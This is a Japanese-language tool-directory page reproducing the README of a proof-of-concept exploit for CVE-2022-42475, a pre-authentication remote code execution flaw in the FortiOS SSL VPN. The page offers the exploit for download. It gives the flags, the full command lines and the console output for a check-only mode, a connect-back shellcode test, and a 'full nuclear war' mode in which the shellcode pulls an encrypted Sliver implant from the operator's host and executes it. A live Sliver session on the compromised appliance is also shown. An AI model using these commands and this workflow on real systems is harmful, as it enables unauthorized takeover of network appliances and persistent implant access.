Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-42475-POC — CVE-2022-42475のエクスプロイト。FortiOS SSL VPNにおける事前認証RCEです。検証、無害な確認、およびリモートアクセス用のコネクトバックシェルコードと暗号化バイナリステージャーを用いた完全な悪用をサポートします。 | Kitploit
ツール/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
脆弱性分析エクスプロイトシェルコードウェブセキュリティペネトレーションテストレッドチーミングペイロード開発
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

CVE-2022-42475のエクスプロイト。FortiOS SSL VPNにおける事前認証RCEです。検証、無害な確認、およびリモートアクセス用のコネクトバックシェルコードと暗号化バイナリステージャーを用いた完全な悪用をサポートします。

リポジトリを見る
107ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-42475

背景

これは、以下のブログ記事のエクスプロイトです: https://bishopfox.com/blog/exploit-cve-2022-42475

編集済みバージョン

このエクスプロイトのバージョンは、ハッカーであるあなたがROPガジェットなどに必要なメモリアドレスを提供しない限り動作しません。これらのデータを特定する作業はBishop Foxの機密かつ専有情報であり、私はこのエクスプロイトと共に公開しません(できません)。ご理解いただければ幸いです。

動作モード

  • 検証のみ、エクスプロイトなし。脆弱性があるかどうかを判定します。ペイロードもシェルコードもありません。
  • エクスプロイトだが、検証のみ。無害なコネクトバック「ping」シェルコードを実行し、ターゲットがエクスプロイト可能かどうかを検証します。
  • コネクトバックバイナリステージャーを用いたエクスプロイト。シェルコードがエクスプロイトにコネクトバックし、暗号化されたオペレーター提供のバイナリファイル(通常はhttps://github.com/BishopFox/Sliver)をダウンロードし、復号後、execve(binary_file) を呼び出します。

注意: 現時点では、「検証のみ」モードは既知のすべてのFortiOSバージョンで動作します。しかし、エクスプロイトはFortiOS 6.0.4 on 100Dハードウェアに対して_のみ_動作します。私は現在BFで働いていないため、約18kのターゲットをサポートする拡張エクスプロイトを公開できません。

必要条件

  • PyCrypto
  • pycryptodome
pip3 install PyCrypto
pip3 install pycryptodome

検証のみ

このモードではバグをエクスプロイトしようとはせず、代わりにクラッシュとしてトリガーします(リモートSSL VPNデーモンは自動的に即座に再起動します)。クラッシュはヒューリスティックに検出され、オペレーターに報告されます。

-v 検証フラグを使用して実行します:

$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] 検証モードで実行中。RCEなし。
[>] ターゲットが脆弱かどうかをテスト中(約10秒かかる場合があります)
[+] ターゲット '192.168.0.10:8443' は脆弱である可能性があります(VULNERABLE)

エクスプロイトだが検証(現時点ではFortiOS 6.0.4 on 100Dアプライアンスでのみ利用可能)

このモードではバグをトリガーし、ROPチェーンを展開し、シェルコードにジャンプします。シェルコードは無害で、以下のように動作します:

  • エクスプロイトがターゲットに接続し、脆弱性をトリガーしてシェルコードを実行させる
  • シェルコードがオペレーターのIP:ポートにコネクトバックする
  • シェルコードがエクスプロイトに単一の「hello」バイト 0xbf を送信する
  • エクスプロイトが暗号化された小さなテストペイロードをシェルコードに送信する(AES鍵は実行ごとにランダム)
  • シェルコードがペイロードを復号し、FortiGateアプライアンス上の /tmp/x に保存する
  • ペイロードの復号が成功した場合、シェルコードがエクスプロイトにさらに単一の 0xbf バイトを送信する
  • エクスプロイトがバイトを読み取り、コード実行を確認する

フラグ:

-t           ターゲットホスト/IP
-p           ターゲットポート
-e           エクスプロイトモード
-c           コネクトバックのみのモード
-H と -P     オペレーターのIP:ポート(必須)
-s           FortiOS のソフトウェアバージョン(必須)
-m           FortiOS が動作しているハードウェアモデル
-d           デバッグ出力を有効化

ソフトウェアバージョン 6.0.4 とアプライアンスモデル 100D の両方を選択した例:

┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] ペイロードを暗号化するためのランダムな128ビットAES鍵を生成中
[+] ペイロードを暗号化中...
[+] キャッシュされたシェルコードを使用中。強制的にリフレッシュするには、./x.py 内の 'shellcode.s' を編集してください。
[+] 192.168.0.99:443 へのコネクトバック用に設定
[+] 暗号化ペイロードリスナーを起動中...
[+] エクスプロイトの準備中...
[+] リクエスト送信中!
[+] 'exploit_data.json' からガジェットをインポート中
[<] リスナーがポート443にバインドされ、コネクトバックを待機中...
[+] ガジェットを検証中...
[!] FortiOS '5.2.14' に対して機能的なハードウェアモデルが定義されていません。削除されました。
[!] FortiOS '5.6.9' に対して機能的なハードウェアモデルが定義されていません。削除されました。
[+] 797のターゲットをインポートしました:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] エクスプロイトを開始中
[<] 192.168.0.10:22470 からの着信要求
[<] ターゲットからhelloパケットを受信しました!! モデル番号: 100D
[<] 36バイトの暗号化ペイロードを送信中
[<] ペイロードの送信完了 (36バイト)、応答待ち...
[<] 期待された応答 ('100D') を192.168.0.10から受信しました
[<] ターゲットは100%の確信度で脆弱(VULNERABLE)です。
[+] すべて完了!

-m でハードウェアモデルを指定しない場合、エクスプロイトは指定されたソフトウェアバージョンに対してすべてのハードウェアターゲットをブルートフォースします。

全面核戦争

  • オペレーターが(Linuxベースの)Sliverインプラントバイナリの場所を指定する
  • エクスプロイトがターゲットに接続し、脆弱性をトリガーしてシェルコードを実行させる
  • シェルコードがオペレーターのIP:ポートにコネクトバックする
  • シェルコードがエクスプロイトに単一の「hello」バイト 0xbf を送信する
  • エクスプロイトがSliverバイナリを暗号化し、シェルコードに送信する
  • シェルコードがバイナリを復号し、/tmp/x に保存する
  • シェルコードが「成功」の 0xbf バイトをエクスプロイトに送信する
  • エクスプロイトがバイトを読み取り、コード実行を確認する
  • シェルコードが execve("/tmp/x") を呼び出す
  • ???
  • 利益!

フラグ:

-t           ターゲットホスト/IP
-p           ターゲットポート
-e           エクスプロイトモード
-f filename  ターゲット上で execve するバイナリのパス
-H と -P     コネクトバック用のオペレーターのIP:ポート(必須)
-s           FortiOS のソフトウェアバージョン(必須)
-m           FortiOS が動作しているハードウェアモデル
-d           デバッグ出力を有効化

Sliver:

carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

エクスプロイト:

$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] エクスプロイトはターゲット上で execve("implant5") を試みます
...
[<] ターゲットは100%の確信度で脆弱(VULNERABLE)です。
[+] すべて完了。

そしてSliver側:

[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Sliverが <err> を返すことに注意してください。これはFortiOSがLinuxにかなり似ているが、期待通りに動作しないことがあるためです。これはSliverの問題ではなく、FortiOS側の問題です。

他のバージョンも近日公開予定

私は現在Bishop Foxで働いていないため、アップデートについてはBFのGitHubをフォローしてください。

ツールをダウンロード